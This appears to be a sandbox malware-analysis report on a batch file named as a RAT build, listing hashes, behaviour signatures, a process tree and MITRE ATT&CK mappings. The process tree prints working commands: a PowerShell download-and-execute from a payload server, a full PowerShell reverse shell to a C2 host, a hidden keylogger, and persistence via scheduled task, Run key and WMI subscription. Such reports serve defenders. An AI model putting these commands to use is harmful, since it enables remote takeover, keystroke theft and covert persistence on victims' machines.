Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 22:25
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_94829_014308.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_94829_014308.bat
Resource
win11-20260513-en
General
- Target rat_build_94829_014308.bat
- Size 4KB
- Sample260529-2b1bmsa17w
- SHA256 78bfaca7f651dc889e16f40686c9defad1e5c290874b6cf49aa1beccd8949d92
- MD5 e46a6bfdaa360b05e382f6c15cb5fd73
- SHA1 1f4f6f8a930c78846d9ec6a15d34e1781fb30c55
- SHA512 9a472b1194bfbac133d444eb8edb717f53b31803c05421e98eb77c973f37fe0ebae25afe56f003e1cc1947a97bdc953e6ae1e79774092d1f36e8f6ffdda5b303
- SSDEEP 96:UIsoWmXxF5/fWZQdHqbKUjeV3lV9s6VwUrCLqH/JITgg/g+1iFgZk8mvlo1ZKXqh:UHmXx7/+Ziq+V9s65j/6Tgu1iFgkHlgX
- TLSH T138B1182367866130D9B01218CEB33C5C5BACC6F71311CA8EBF45CEC92E1DA43916E6A7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_94829.ps1
Signatures
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pid Process 4776 powershell.exe 3048 powershell.exe 3104 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_94829 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_94829.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3800 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1444 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3560 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3460 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4776 powershell.exe 4776 powershell.exe 3048 powershell.exe 3048 powershell.exe 3104 powershell.exe 3104 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3008 WMIC.exe Token: SeSecurityPrivilege 3008 WMIC.exe Token: SeTakeOwnershipPrivilege 3008 WMIC.exe Token: SeLoadDriverPrivilege 3008 WMIC.exe Token: SeSystemProfilePrivilege 3008 WMIC.exe Token: SeSystemtimePrivilege 3008 WMIC.exe Token: SeProfSingleProcessPrivilege 3008 WMIC.exe Token: SeIncBasePriorityPrivilege 3008 WMIC.exe Token: SeCreatePagefilePrivilege 3008 WMIC.exe Token: SeBackupPrivilege 3008 WMIC.exe Token: SeRestorePrivilege 3008 WMIC.exe Token: SeShutdownPrivilege 3008 WMIC.exe Token: SeDebugPrivilege 3008 WMIC.exe Token: SeSystemEnvironmentPrivilege 3008 WMIC.exe Token: SeRemoteShutdownPrivilege 3008 WMIC.exe Token: SeUndockPrivilege 3008 WMIC.exe Token: SeManageVolumePrivilege 3008 WMIC.exe Token: 33 3008 WMIC.exe Token: 34 3008 WMIC.exe Token: 35 3008 WMIC.exe Token: 36 3008 WMIC.exe Token: SeIncreaseQuotaPrivilege 3008 WMIC.exe Token: SeSecurityPrivilege 3008 WMIC.exe Token: SeTakeOwnershipPrivilege 3008 WMIC.exe Token: SeLoadDriverPrivilege 3008 WMIC.exe Token: SeSystemProfilePrivilege 3008 WMIC.exe Token: SeSystemtimePrivilege 3008 WMIC.exe Token: SeProfSingleProcessPrivilege 3008 WMIC.exe Token: SeIncBasePriorityPrivilege 3008 WMIC.exe Token: SeCreatePagefilePrivilege 3008 WMIC.exe Token: SeBackupPrivilege 3008 WMIC.exe Token: SeRestorePrivilege 3008 WMIC.exe Token: SeShutdownPrivilege 3008 WMIC.exe Token: SeDebugPrivilege 3008 WMIC.exe Token: SeSystemEnvironmentPrivilege 3008 WMIC.exe Token: SeRemoteShutdownPrivilege 3008 WMIC.exe Token: SeUndockPrivilege 3008 WMIC.exe Token: SeManageVolumePrivilege 3008 WMIC.exe Token: 33 3008 WMIC.exe Token: 34 3008 WMIC.exe Token: 35 3008 WMIC.exe Token: 36 3008 WMIC.exe Token: SeIncreaseQuotaPrivilege 3676 WMIC.exe Token: SeSecurityPrivilege 3676 WMIC.exe Token: SeTakeOwnershipPrivilege 3676 WMIC.exe Token: SeLoadDriverPrivilege 3676 WMIC.exe Token: SeSystemProfilePrivilege 3676 WMIC.exe Token: SeSystemtimePrivilege 3676 WMIC.exe Token: SeProfSingleProcessPrivilege 3676 WMIC.exe Token: SeIncBasePriorityPrivilege 3676 WMIC.exe Token: SeCreatePagefilePrivilege 3676 WMIC.exe Token: SeBackupPrivilege 3676 WMIC.exe Token: SeRestorePrivilege 3676 WMIC.exe Token: SeShutdownPrivilege 3676 WMIC.exe Token: SeDebugPrivilege 3676 WMIC.exe Token: SeSystemEnvironmentPrivilege 3676 WMIC.exe Token: SeRemoteShutdownPrivilege 3676 WMIC.exe Token: SeUndockPrivilege 3676 WMIC.exe Token: SeManageVolumePrivilege 3676 WMIC.exe Token: 33 3676 WMIC.exe Token: 34 3676 WMIC.exe Token: 35 3676 WMIC.exe Token: 36 3676 WMIC.exe Token: SeIncreaseQuotaPrivilege 3676 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2592 wrote to memory of 3460 2592 cmd.exe 87 PID 2592 wrote to memory of 3560 2592 cmd.exe 88 PID 2592 wrote to memory of 3008 2592 cmd.exe 89 PID 2592 wrote to memory of 3676 2592 cmd.exe 90 PID 2592 wrote to memory of 3256 2592 cmd.exe 91 PID 2592 wrote to memory of 1444 2592 cmd.exe 96 PID 2592 wrote to memory of 3800 2592 cmd.exe 101 PID 2592 wrote to memory of 4776 2592 cmd.exe 102 PID 2592 wrote to memory of 3048 2592 cmd.exe 103 PID 2592 wrote to memory of 3104 2592 cmd.exe 105 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_94829_014308.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_94829" /tr "C:\Users\Admin\AppData\Local\Temp\_94829.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3460
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-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_94829" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_94829.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:3560
-
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_94829", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3008
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_94829", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_94829.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3676
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_94829.txt2⤵PID:3256
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:1444
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3800
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_94829.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4776
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3048
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3104
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 db72d03f3e0e5f0a74b40102803c662c4bc6ab17041bb4617b51948821f24c4d
- MD5 847e19a92e7dec0c5f4fd739396d3a1b
- SHA1 a8800360bc0a89d50109431f2aac312ff41d08fe
- SHA512 f25dd30724dba186e9c4781b821ed772a781b9b80195fbd69622133a5dfb34ab11945c6d4aa7ed6e9309c6a5787d355139bd57f9d21afb34fc8a4185a0da7593
- TLSH T169117627F39CC921CC96153A509DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f6e95202e1f503fdb1f2b02a0cd4430cd4fb109abe777dec3b819ebc0aebdb30
- MD5 20087fb8e82c00eba105d40b532a27b5
- SHA1 ccadf1e8ef800db5f557dfd92f33b63941cdc681
- SHA512 1ef2aac7dde4a8856cf18707aee5c117d2e8488af0733b4a6050db3a07c97feb3c8e9c6cd5e3f2d12ca4fbf771262179c7e88d2cad463b508ee104c662b5fe2a
- TLSH T174115727B39C89A1CC96113A409D9C1176B683DB80AEDEDF7BC0D214A1BF584CB71190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mlz52e44.s2e.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH